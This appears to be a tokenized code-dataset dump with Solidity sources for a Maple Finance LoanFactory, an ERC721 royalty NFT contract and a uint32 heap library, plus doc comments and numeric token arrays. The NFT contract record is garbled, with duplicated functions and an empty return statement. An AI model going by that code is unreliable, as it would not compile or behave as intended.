address(collateralAsset), _getCollateralLockerBalance()); } } ////// contracts/LoanFactory.sol /* pragma solidity 0.6.11; */ /* import "lib/openzeppelin-contracts/contracts/utils/Pausable.sol"; */ /* import "./Loan.sol"; */ /// @title LoanFactory instantiates Loans. contract LoanFactory is Pausable { using SafeMath for uint256; uint8 public constant CL_FACTORY = 0; // Factory type of `CollateralLockerFactory`. uint8 public constant FL_FACTORY = 2; // Factory type of `FundingLockerFactory`. uint8 public constant INTEREST_CALC_TYPE = 10; // Calc type of `RepaymentCalc`. uint8 public constant LATEFEE_CALC_TYPE = 11; // Calc type of `LateFeeCalc`. uint8 public constant PREMIUM_CALC_TYPE = 12; // Calc type of `PremiumCalc`. IMapleGlobals public globals; // Instance of the MapleGlobals. uint256 public loansCreated; // Incrementor for number of Loans created. mapping(uint256 => address) public loans; // Loans address mapping. mapping(address => bool) public isLoan; // True only if a Loan was created by this factory. mapping(address => bool) public loanFactoryAdmins; // The LoanFactory Admin addresses that have permission to do certain operations in case of disaster management. event LoanFactoryAdminSet(address indexed loanFactoryAdmin, bool allowed); event LoanCreated( address loan, address indexed borrower, address indexed liquidityAsset, address collateralAsset, address collateralLocker, address fundingLocker, uint256[5] specs, address[3] calcs, string name, string symbol ); constructor(address _globals) public { globals = IMapleGlobals(_globals); } /** @dev Sets MapleGlobals. Only the Governor can call this function. @param newGlobals Address of new MapleGlobals. */ function setGlobals(address newGlobals) external { _isValidGovernor(); globals = IMapleGlobals(newGlobals); } /** @dev Create a new Loan. @dev It emits a `LoanCreated` event. @param liquidityAsset Asset the Loan will raise funding in. @param collateralAsset Asset the Loan will use as collateral. @param flFactory The factory to instantiate a FundingLocker from. @param clFactory The factory to instantiate a CollateralLocker from. @param specs Contains specifications for this Loan. specs[0] = apr specs[1] = termDays specs[2] = paymentIntervalDays specs[3] = requestAmount specs[4] = collateralRatio @param calcs The calculators used for this Loan. calcs[0] = repaymentCalc calcs[1] = lateFeeCalc calcs[2] = premiumCalc @return loanAddress Address of the instantiated Loan. */ function createLoan( address liquidityAsset, address collateralAsset, address flFactory, address clFactory, uint256[5] memory specs, address[3] memory calcs ) external whenNotPaused returns (address loanAddress) { _whenProtocolNotPaused(); IMapleGlobals _globals = globals; // Perform validity checks. require(_globals.isValidSubFactory(address(this), flFactory, FL_FACTORY), "LF:INVALID_FLF"); require(_globals.isValidSubFactory(address(this), clFactory, CL_FACTORY), "LF:INVALID_CLF"); require(_globals.isValidCalc(calcs[0], INTEREST_CALC_TYPE), "LF:INVALID_INT_C"); require(_globals.isValidCalc(calcs[1], LATEFEE_CALC_TYPE), "LF:INVALID_LATE_FEE_C"); require(_globals.isValidCalc(calcs[2], PREMIUM_CALC_TYPE), "LF:INVALID_PREM_C"); // Deploy new Loan. Loan loan = new Loan( msg.sender, liquidityAsset, collateralAsset, flFactory, clFactory, specs, calcs ); // Update the LoanFactory identification mappings. loanAddress = address(loan); loans[loansCreated] = loanAddress; isLoan[loanAddress] = true; ++loansCreated; emit LoanCreated( loanAddress, msg.sender, liquidityAsset, collateralAsset, loan.collateralLocker(), loan.fundingLocker(), specs, calcs, loan.name(), loan.symbol() ); } /** @dev Sets a LoanFactory Admin. Only the Governor can call this function. @dev It emits a `LoanFactoryAdminSet` event. @param loanFactoryAdmin An address being allowed or disallowed as a LoanFactory Admin. @param allowed Status of a LoanFactory Admin. */ function setLoanFactoryAdmin(address loanFactoryAdmin, bool allowed) external { _isValidGovernor(); loanFactoryAdmins[loanFactoryAdmin] = allowed; emit LoanFactoryAdminSet(loanFactoryAdmin, allowed); } /** @dev Triggers paused state. Halts functionality for certain functions. Only the Governor or a LoanFactory Admin can call this function. */ function pause() external { _isValidGovernorOrLoanFactoryAdmin(); super._pause(); } /** @dev Triggers unpaused state. Restores functionality for certain functions. Only the Governor or a LoanFactory Admin can call this function. */ function unpause() external { _isValidGovernorOrLoanFactoryAdmin(); super._unpause(); } /** @dev Checks that `msg.sender` is the Governor. */ function _isValidGovernor() internal view { require(msg.sender == globals.governor(), "LF:NOT_GOV"); } /** @dev Checks that `msg.sender` is the Governor or a LoanFactory Admin. */ function _isValidGovernorOrLoanFactoryAdmin() internal view { require(msg.sender == globals.governor() || loanFactoryAdmins[msg.sender], "LF:NOT_GOV_OR_ADMIN"); } /** @dev Checks that the protocol is not in a paused state. */ function _whenProtocolNotPaused() internal view { require(!globals.protocolPaused(), "LF:PROTO_PAUSED"); } }
@title LoanFactory instantiates Loans.
contract LoanFactory is Pausable { using SafeMath for uint256; event LoanFactoryAdminSet(address indexed loanFactoryAdmin, bool allowed); event LoanCreated( address loan, address indexed borrower, address indexed liquidityAsset, address collateralAsset, address collateralLocker, address fundingLocker, uint256[5] specs, address[3] calcs, string name, string symbol ); constructor(address _globals) public { globals = IMapleGlobals(_globals); } @dev Sets MapleGlobals. Only the Governor can call this function. @param newGlobals Address of new MapleGlobals. function setGlobals(address newGlobals) external { _isValidGovernor(); globals = IMapleGlobals(newGlobals); } @dev It emits a `LoanCreated` event. @param liquidityAsset Asset the Loan will raise funding in. @param collateralAsset Asset the Loan will use as collateral. @param flFactory The factory to instantiate a FundingLocker from. @param clFactory The factory to instantiate a CollateralLocker from. @param specs Contains specifications for this Loan. specs[0] = apr specs[1] = termDays specs[2] = paymentIntervalDays specs[3] = requestAmount specs[4] = collateralRatio @param calcs The calculators used for this Loan. calcs[0] = repaymentCalc calcs[1] = lateFeeCalc calcs[2] = premiumCalc @return loanAddress Address of the instantiated Loan. @dev Create a new Loan. function createLoan( address liquidityAsset, address collateralAsset, address flFactory, address clFactory, uint256[5] memory specs, address[3] memory calcs ) external whenNotPaused returns (address loanAddress) { _whenProtocolNotPaused(); IMapleGlobals _globals = globals; require(_globals.isValidSubFactory(address(this), flFactory, FL_FACTORY), "LF:INVALID_FLF"); require(_globals.isValidSubFactory(address(this), clFactory, CL_FACTORY), "LF:INVALID_CLF"); require(_globals.isValidCalc(calcs[0], INTEREST_CALC_TYPE), "LF:INVALID_INT_C"); require(_globals.isValidCalc(calcs[1], LATEFEE_CALC_TYPE), "LF:INVALID_LATE_FEE_C"); require(_globals.isValidCalc(calcs[2], PREMIUM_CALC_TYPE), "LF:INVALID_PREM_C"); Loan loan = new Loan( msg.sender, liquidityAsset, collateralAsset, flFactory, clFactory, specs, calcs ); loanAddress = address(loan); loans[loansCreated] = loanAddress; isLoan[loanAddress] = true; ++loansCreated; emit LoanCreated( loanAddress, msg.sender, liquidityAsset, collateralAsset, loan.collateralLocker(), loan.fundingLocker(), specs, calcs, loan.name(), loan.symbol() ); } @dev Sets a LoanFactory Admin. Only the Governor can call this function. @dev It emits a `LoanFactoryAdminSet` event. @param loanFactoryAdmin An address being allowed or disallowed as a LoanFactory Admin. @param allowed Status of a LoanFactory Admin. function setLoanFactoryAdmin(address loanFactoryAdmin, bool allowed) external { _isValidGovernor(); loanFactoryAdmins[loanFactoryAdmin] = allowed; emit LoanFactoryAdminSet(loanFactoryAdmin, allowed); } @dev Triggers paused state. Halts functionality for certain functions. Only the Governor or a LoanFactory Admin can call this function. function pause() external { _isValidGovernorOrLoanFactoryAdmin(); super._pause(); } @dev Triggers unpaused state. Restores functionality for certain functions. Only the Governor or a LoanFactory Admin can call this function. function unpause() external { _isValidGovernorOrLoanFactoryAdmin(); super._unpause(); } @dev Checks that `msg.sender` is the Governor. function _isValidGovernor() internal view { require(msg.sender == globals.governor(), "LF:NOT_GOV"); } @dev Checks that `msg.sender` is the Governor or a LoanFactory Admin. function _isValidGovernorOrLoanFactoryAdmin() internal view { require(msg.sender == globals.governor() || loanFactoryAdmins[msg.sender], "LF:NOT_GOV_OR_ADMIN"); } @dev Checks that the protocol is not in a paused state. function _whenProtocolNotPaused() internal view { require(!globals.protocolPaused(), "LF:PROTO_PAUSED"); } }
13,742,101
[ 1, 1504, 304, 1733, 5934, 16020, 3176, 634, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 3176, 304, 1733, 353, 21800, 16665, 288, 203, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 203, 203, 203, 203, 203, 203, 565, 871, 3176, 304, 1733, 4446, 694, 12, 2867, 8808, 28183, 1733, 4446, 16, 1426, 2935, 1769, 203, 203, 565, 871, 3176, 304, 6119, 12, 203, 3639, 1758, 28183, 16, 203, 3639, 1758, 8808, 29759, 264, 16, 203, 3639, 1758, 8808, 4501, 372, 24237, 6672, 16, 203, 3639, 1758, 4508, 2045, 287, 6672, 16, 203, 3639, 1758, 4508, 2045, 287, 2531, 264, 16, 203, 3639, 1758, 22058, 2531, 264, 16, 203, 3639, 2254, 5034, 63, 25, 65, 10607, 16, 203, 3639, 1758, 63, 23, 65, 1443, 2143, 16, 203, 3639, 533, 508, 16, 203, 3639, 533, 3273, 203, 565, 11272, 203, 203, 203, 203, 203, 565, 3885, 12, 2867, 389, 16227, 13, 1071, 288, 203, 3639, 10941, 273, 467, 863, 298, 19834, 24899, 16227, 1769, 203, 565, 289, 203, 203, 3639, 632, 5206, 282, 11511, 1635, 298, 19834, 18, 5098, 326, 611, 1643, 29561, 848, 745, 333, 445, 18, 203, 3639, 632, 891, 394, 19834, 5267, 434, 394, 1635, 298, 19834, 18, 203, 565, 445, 444, 19834, 12, 2867, 394, 19834, 13, 3903, 288, 203, 3639, 389, 26810, 43, 1643, 29561, 5621, 203, 3639, 10941, 273, 467, 863, 298, 19834, 12, 2704, 19834, 1769, 203, 565, 289, 203, 203, 3639, 632, 5206, 565, 2597, 24169, 279, 1375, 1504, 304, 6119, 68, 871, 18, 203, 3639, 632, 891, 225, 4501, 372, 24237, 6672, 225, 10494, 326, 3176, 304, 903, 2 ]
./full_match/1/0x59213AE27c9F6014a788358f623a0E626140f0cd/sources/contracts/PPPCollection.sol
@title Token Base @notice Shared logic for token contracts
contract PPPCollection is ERC721, Ownable { IOperatorFilterRegistry private constant OPERATOR_FILTER_REGISTRY = IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E); uint256 private immutable MAX_SUPPLY; address public royaltyReceiver; address public minter; address public metadataContract; uint256 public royaltyFraction; uint256 public royaltyDenominator = 100; uint256 public totalSupply; string public baseURI; error OnlyMinter(); error OperatorNotAllowed(address operator); event MetadataUpdate(uint256 tokenId); event BatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId); constructor( string memory name, string memory symbol, string memory baseURI_, uint256 maxSupply, address royaltyReceiver_, uint256 royaltyPercent ) ERC721(name, symbol) { require(maxSupply > 0, "Max supply must not be zero"); require(royaltyReceiver_ != address(0), "Royalty receiver must not be the zero address"); require(royaltyPercent <= 100, "Royalty fraction must not be greater than 100%"); MAX_SUPPLY = maxSupply; baseURI = baseURI_; royaltyReceiver = royaltyReceiver_; royaltyFraction = royaltyPercent; if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) { OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), 0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6); } } ) ERC721(name, symbol) { require(maxSupply > 0, "Max supply must not be zero"); require(royaltyReceiver_ != address(0), "Royalty receiver must not be the zero address"); require(royaltyPercent <= 100, "Royalty fraction must not be greater than 100%"); MAX_SUPPLY = maxSupply; baseURI = baseURI_; royaltyReceiver = royaltyReceiver_; royaltyFraction = royaltyPercent; if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) { OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), 0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6); } } modifier onlyMinter() { if (msg.sender != minter) revert OnlyMinter(); _; } function setApprovalForAll(address operator, bool approved) public virtual override { if (approved && !operatorAllowed(operator)) revert OperatorNotAllowed(operator); super.setApprovalForAll(operator, approved); } function mint(address to, uint256 tokenId) external onlyMinter { require(tokenId < MAX_SUPPLY, "Invalid token ID"); _mint(to, tokenId); unchecked { totalSupply++; } } function mint(address to, uint256 tokenId) external onlyMinter { require(tokenId < MAX_SUPPLY, "Invalid token ID"); _mint(to, tokenId); unchecked { totalSupply++; } } function setMinter(address minter_) external onlyOwner { minter = minter_; } function setRoyaltyReceiver(address royaltyReceiver_) external onlyOwner { require(royaltyReceiver_ != address(0), "Royalty receiver must not be the zero address"); royaltyReceiver = royaltyReceiver_; } function setRoyaltyFraction(uint256 royaltyFraction_, uint256 royaltyDenominator_) external onlyOwner { require(royaltyDenominator_ != 0, "Royalty denominator must not be zero"); require(royaltyFraction_ <= royaltyDenominator_, "Royalty fraction must not be greater than 100%"); royaltyFraction = royaltyFraction_; royaltyDenominator = royaltyDenominator_; } function updateBaseURI(string calldata baseURI_) external onlyOwner { require(bytes(baseURI_).length > 0, "New base URI must be provided"); baseURI = baseURI_; metadataContract = address(0); emit BatchMetadataUpdate(0, MAX_SUPPLY - 1); } function delegateTokenURIs(address delegate) external onlyOwner { require(delegate != address(0), "New metadata delegate must not be the zero address"); require(delegate.code.length > 0, "New metadata delegate must be a contract"); baseURI = ""; metadataContract = delegate; emit BatchMetadataUpdate(0, MAX_SUPPLY - 1); } function tokenURI(uint256 tokenId) public view override returns (string memory) { _requireMinted(tokenId); if (bytes(baseURI).length > 0) { return string(abi.encodePacked(baseURI, Strings.toString(tokenId), ".json")); } if (address(metadataContract) != address(0)) { return IERC721Metadata(metadataContract).tokenURI(tokenId); } revert("tokenURI not configured"); } function tokenURI(uint256 tokenId) public view override returns (string memory) { _requireMinted(tokenId); if (bytes(baseURI).length > 0) { return string(abi.encodePacked(baseURI, Strings.toString(tokenId), ".json")); } if (address(metadataContract) != address(0)) { return IERC721Metadata(metadataContract).tokenURI(tokenId); } revert("tokenURI not configured"); } function tokenURI(uint256 tokenId) public view override returns (string memory) { _requireMinted(tokenId); if (bytes(baseURI).length > 0) { return string(abi.encodePacked(baseURI, Strings.toString(tokenId), ".json")); } if (address(metadataContract) != address(0)) { return IERC721Metadata(metadataContract).tokenURI(tokenId); } revert("tokenURI not configured"); } function exists(uint256 tokenId) external view returns (bool) { return _exists(tokenId); } function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) { receiver = royaltyReceiver; royaltyAmount = Math.mulDiv(salePrice, royaltyFraction, royaltyDenominator, Math.Rounding.Up); } function supportsInterface(bytes4 interfaceId) public pure virtual override returns (bool) { return } function _beforeTokenTransfer(address from, address to, uint256 id, uint256 quantity) internal virtual override { if (from != address(0) && from != msg.sender && !operatorAllowed(msg.sender)) { revert OperatorNotAllowed(msg.sender); } super._beforeTokenTransfer(from, to, id, quantity); } function _beforeTokenTransfer(address from, address to, uint256 id, uint256 quantity) internal virtual override { if (from != address(0) && from != msg.sender && !operatorAllowed(msg.sender)) { revert OperatorNotAllowed(msg.sender); } super._beforeTokenTransfer(from, to, id, quantity); } function operatorAllowed(address operator) internal view returns (bool) { return address(OPERATOR_FILTER_REGISTRY).code.length == 0 || OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator); } }
8,466,504
[ 1, 1345, 3360, 225, 10314, 4058, 364, 1147, 20092, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 453, 6584, 2532, 353, 4232, 39, 27, 5340, 16, 14223, 6914, 288, 203, 565, 1665, 457, 639, 1586, 4243, 3238, 5381, 25500, 67, 11126, 67, 5937, 25042, 273, 203, 3639, 1665, 457, 639, 1586, 4243, 12, 20, 92, 12648, 2787, 5284, 73, 38, 26, 40, 6669, 7301, 41, 25, 3787, 37, 27, 2643, 7677, 27, 3707, 23, 4315, 24, 41, 1769, 203, 203, 565, 2254, 5034, 3238, 11732, 4552, 67, 13272, 23893, 31, 203, 203, 565, 1758, 1071, 721, 93, 15006, 12952, 31, 203, 565, 1758, 1071, 1131, 387, 31, 203, 565, 1758, 1071, 1982, 8924, 31, 203, 203, 565, 2254, 5034, 1071, 721, 93, 15006, 13724, 31, 203, 565, 2254, 5034, 1071, 721, 93, 15006, 8517, 26721, 273, 2130, 31, 203, 203, 565, 2254, 5034, 1071, 2078, 3088, 1283, 31, 203, 203, 565, 533, 1071, 1026, 3098, 31, 203, 203, 565, 555, 5098, 49, 2761, 5621, 203, 565, 555, 11097, 19354, 12, 2867, 3726, 1769, 203, 203, 565, 871, 6912, 1891, 12, 11890, 5034, 1147, 548, 1769, 203, 203, 565, 871, 5982, 2277, 1891, 12, 11890, 5034, 628, 1345, 548, 16, 2254, 5034, 358, 1345, 548, 1769, 203, 203, 565, 3885, 12, 203, 3639, 533, 3778, 508, 16, 203, 3639, 533, 3778, 3273, 16, 203, 3639, 533, 3778, 1026, 3098, 67, 16, 203, 3639, 2254, 5034, 943, 3088, 1283, 16, 203, 3639, 1758, 721, 93, 15006, 12952, 67, 16, 203, 3639, 2254, 5034, 721, 93, 15006, 8410, 203, 565, 262, 4232, 39, 27, 5340, 12, 529, 16, 3273, 13, 288, 203, 3639, 2 ]
//SPDX-License-Identifier: MIT pragma solidity >=0.6.0; import '../Tree/TreeLib.sol'; import '../Array/ArrayLibUInt32.sol'; /** * @dev An optimized uint32 min/max heap * * Heap are efficient in keeping track of the min/max of a set of elements. The * root of the heap is always the min/max and this applies recursively, meaning any parent * MUST be less/greater than its children. * * The HeapLibUInt32 uses TreeLib for computing indices for traversal within the tree * and ArrayLibUInt32 as a storage medium. * * See https://en.wikipedia.org/wiki/Heap_(data_structure) * * Note: While HeapLibUInt32 stores uint32, it accepts a custom comparator function that * it calls using staticall(). For example, one can encode the compare value in the lower * 8 bits, store a custom value in the upper 24 bits, and only compare the lower 8bits when * determining sort order within the heap. * */ library HeapLibUInt32 { using ArrayLibUInt32 for bytes32; /** * @dev Call comparator function returning true/false. * @param a items per slot * @param b leaves * @param compareSelector comparison function 4byte selector * @return result * * Note: The compareSelector MUST be implemented in the parent contract using * the library. The heap invariant is compare(parent,child) = true. So for a min-heap * use a < b. * * Potential improvements: * - Replace staticall with jumpcall (internal) */ function compare( uint32 a, uint32 b, bytes4 compareSelector ) internal view returns (bool result) { (, bytes memory compareBytes) = address(this).staticcall(abi.encodeWithSelector(compareSelector, a, b)); assembly { result := mload(add(compareBytes, 32)) } } /** * @dev Length of heap. * @param slot storage * @return length */ function len(bytes32 slot) internal view returns (uint256 length) { length = slot.len(); } /** * @dev Height of heap tree. * @param slot storage * @param a items per slot * @param b leaves * @return height */ function height( bytes32 slot, uint256 a, uint256 b ) internal view returns (uint256) { uint256 length = slot.len(); return TreeLib.height(a, b, length); } /** * @dev Max items heap can hold before a height increase. * @param slot storage * @param a items per slot * @param b leaves * @return maxLength * * Note: This function is used to estimate SSTORE costs since gas cost increases * with tree height. */ function maxLength( bytes32 slot, uint256 a, uint256 b ) internal view returns (uint256) { uint256 h = height(slot, a, b); return TreeLib.maxLength(a, b, h); } /** * @dev Get item at tree[i] * @param slot storage slot * @param i index * @return value * * Note: Values are NOT sorted, but heap-sorted meaning the only guarantee * is that get(slot,0) will be the min/max. */ function get(bytes32 slot, uint256 i) internal view returns (uint32 value) { value = slot.get(i); } /** * @dev Get heap root * @param slot storage slot * @return value */ function root(bytes32 slot) internal view returns (uint32 value) { value = slot.get(0); } /** * @dev Get parent node index * @param a items per slot * @param b leaves * @param i, node index * @return parentIdx */ function parentIdx( uint256 a, uint256 b, uint256 i ) internal pure returns (uint256) { return TreeLib.parentIdx(a, b, i); } /** * @dev Get children node indices * @param a items per slot * @param b leaves * @param i, node index * @return leavesIdx[] */ function leavesIdx( uint256 a, uint256 b, uint256 i ) internal pure returns (uint256[] memory) { return TreeLib.leavesIdx(a, b, i); } /** * @dev Get parent node value * @param slot storage * @param a items per slot * @param b leaves * @param i, node index * @return parent */ function parent( bytes32 slot, uint256 a, uint256 b, uint256 i ) internal view returns (uint32) { uint256 pIdx = TreeLib.parentIdx(a, b, i); return slot.get(pIdx); } /** * @dev Get children node values * @param slot storage * @param a items per slot * @param b leaves * @param i, node index * @return leaves[] */ function leaves( bytes32 slot, uint256 a, uint256 b, uint256 i ) internal view returns (uint32[] memory) { uint256[] memory lIdx = TreeLib.leavesIdx(a, b, i); uint32[] memory le = new uint32[](lIdx.length); for (uint256 j; j < lIdx.length; j++) { le[j] = slot.get(lIdx[j]); } return le; } /** * @dev Overite a value at an index, and heapify with new value * @param slot storage * @param a items per slot * @param b leaves * @param compareSelector comparison function 4byte selector * @param i index * @param val value * * Note: This is a niche use case for the heap as it replaces an existing value. * Developers should favor push(), remove(). */ function set( bytes32 slot, uint256 a, uint256 b, bytes4 compareSelector, uint256 i, uint32 val ) internal { slot.set(i, val); if (compare(slot.get(i), slot.get(TreeLib.parentIdx(a, b, i)), compareSelector)) { // a < parent, heapifyUp heapifyUp(slot, a, b, compareSelector, i); } else { heapifyDown(slot, a, b, compareSelector, i); } } /** * @dev Push a new value and heapify. * @param slot storage * @param a items per slot * @param b leaves * @param compareSelector comparison function 4byte selector * @param val value */ function push( bytes32 slot, uint256 a, uint256 b, bytes4 compareSelector, uint32 val ) internal { slot.push(val); heapifyUp(slot, a, b, compareSelector, slot.len() - 1); } /** * @dev Remove value at index and heapify. * @param slot storage * @param a items per slot * @param b leaves * @param compareSelector comparison function 4byte selector * @param i index * @return v */ function remove( bytes32 slot, uint256 a, uint256 b, bytes4 compareSelector, uint256 i ) internal returns (uint32 v) { v = slot.get(i); slot.set(i, 0); //clear slot uint256 length; assembly { length := sload(slot) sstore(slot, sub(length, 1)) //decrease length } slot.swap(i, length - 1); //Replace with last element heapifyDown(slot, a, b, compareSelector, i); //Heapify down } /** * @dev Remove heap root and heapify. * @param slot storage * @param a items per slot * @param b leaves * @param compareSelector comparison function 4byte selector * @return v */ function removeRoot( bytes32 slot, uint256 a, uint256 b, bytes4 compareSelector ) internal returns (uint32 v) { return remove(slot, a, b, compareSelector, 0); } /** * @dev Search heap for first occurrence. * @param slot storage * @param a items per slot * @param b leaves * @param compareSelector comparison function 4byte selector * @param v search value * @param idx index hint * @return index * * Note: We use the index hint as a starting point for our search. Instead * of doing a breadth-first search from the root, we start at our hint and * recurse parents or leaves from there. */ function search( bytes32 slot, uint256 a, uint256 b, bytes4 compareSelector, uint32 v, uint256 idx ) internal view returns (uint256) { //Check hint index if (v == slot.get(idx)) { return idx; } //Check parent index idx = searchUp(slot, a, b, compareSelector, v, idx); if (v == slot.get(idx)) { return idx; } //Check leaf indices uint256[] memory startLeafIndices = TreeLib.leavesIdx(a, b, idx); // leaf indices in sorted order idx = searchDown(slot, a, b, compareSelector, v, startLeafIndices); // reverts if not found return idx; } /** * @dev Search heap depth-first recusing up parents nodes * @param slot storage * @param a items per slot * @param b leaves * @param compareSelector comparison function 4byte selector * @param v search value * @param idx start index * @return index * * Note: This does not search based on equality but rather continues recursing * until the parent node would correctly be the search value's parent. In * a min-heap, this would equate to recursing up to the first root less than the * search value. Base case returns the root with idx=0. * */ function searchUp( bytes32 slot, uint256 a, uint256 b, bytes4 compareSelector, uint32 v, uint256 idx ) internal view returns (uint256) { uint256 length = slot.len(); require(idx < length, 'HeapLibUInt32.searchUp: idx out of bounds.'); while (compare(v, slot.get(idx), compareSelector) && idx != 0) { // v < heap[i] (min-heap), recurse parents idx = TreeLib.parentIdx(a, b, idx); } return idx; } /** * @dev Search heap breadth-first recursing down leaves * @param slot storage * @param a items per slot * @param b leaves * @param compareSelector comparison function 4byte selector * @param v search value * @param idxList list of start indices in sorted order * @return index * * Note: Stops searching leaves that cannot be parents of the search value. * Base case reverts upon reaching bottom of tree. */ function searchDown( bytes32 slot, uint256 a, uint256 b, bytes4 compareSelector, uint32 v, uint256[] memory idxList ) internal view returns (uint256) { uint256 length = slot.len(); while (idxList.length > 0) { uint256 recIdxLength; uint256[] memory recIdxList = new uint256[](idxList.length); for (uint256 li = 0; li < idxList.length; li++) { uint256 idx = idxList[li]; if (idx < length) { if (v == slot.get(idx)) { return idx; } if (!compare(v, slot.get(idx), compareSelector)) { // v > heap[i] (min-heap), recurse leaves recIdxList[recIdxLength++] = idx; } } } //Overwrite array length assembly { mstore(recIdxList, recIdxLength) } //Recurse leaves of leaves idxList = TreeLib.leavesIdxList(a, b, recIdxList); } revert('HeapLibUInt32.searchDown: v not found.'); //No more leaves to search. These get removed recursively as they are either out of bounds or cannot be parents to the search value. } /** * @dev Search heap from root. * @param slot storage * @param a items per slot * @param b leaves * @param compareSelector comparison function 4byte selector * @param v search value * @return index * * Note: This is very inefficient O(n). Recommended use is to call off-chain and * use result as hint, optimizing the efficiency of the search when it is actually * used during contract execution. */ function searchRoot( bytes32 slot, uint256 a, uint256 b, bytes4 compareSelector, uint32 v ) internal view returns (uint256) { return search(slot, a, b, compareSelector, v, 0); } /** * @dev Swap up to heapify from i * @param slot storage * @param a items per slot * @param b leaves * @param compareSelector comparison function 4byte selector * @param i index * Used for after push() to update from leaf to root */ function heapifyUp( bytes32 slot, uint256 a, uint256 b, bytes4 compareSelector, uint256 i ) internal { // a < b while (i > 0 && compare(slot.get(i), slot.get(TreeLib.parentIdx(a, b, i)), compareSelector)) { // compare(i, parent), we swap them uint256 pIdx = TreeLib.parentIdx(a, b, i); slot.swap(i, pIdx); i = pIdx; //Set current index to parent } } /** * @dev Swap down to heapify from i * @param slot storage * @param a items per slot * @param b leaves * @param compareSelector comparison function 4byte selector * Used for after remove() to update from root to leaf */ function heapifyDown( bytes32 slot, uint256 a, uint256 b, bytes4 compareSelector, uint256 i ) internal returns (uint32 iVal) { //Find children minimum and swap uint256 length = slot.len(); iVal = slot.get(i); while (true) { uint256 minIdx; uint32 minVal; if (i % a == 0) { minIdx = i + 1; if (minIdx >= length) { break; //Null pointer, done heapifyDown } //Adjacent leaves, use batch reads uint256[] memory idxList = new uint256[](8); idxList[0] = i; idxList[1] = i + 1; idxList[2] = i + 2; idxList[3] = i + 3; idxList[4] = i + 4; idxList[5] = i + 5; idxList[6] = i + 6; idxList[7] = i + 7; uint256[] memory valList = slot.getBatch(idxList); minVal = uint32(valList[1]); // Find min leaf for (uint256 j = 2; j < valList.length; j++) { uint256 cmpIdx = i + j; if (cmpIdx >= length) { break; //Null pointer, done find minLeaf } uint32 cmpVal = uint32(valList[j]); //cached value bool c = compare(minVal, cmpVal, compareSelector); // a <= b minIdx = c ? minIdx : cmpIdx; minVal = c ? minVal : cmpVal; } } else { uint256[] memory lIdx = TreeLib.leavesIdx(a, b, i); // leaf indices in sorted order minIdx = lIdx[0]; if (minIdx >= length) { break; //Null pointer, done heapifyDown 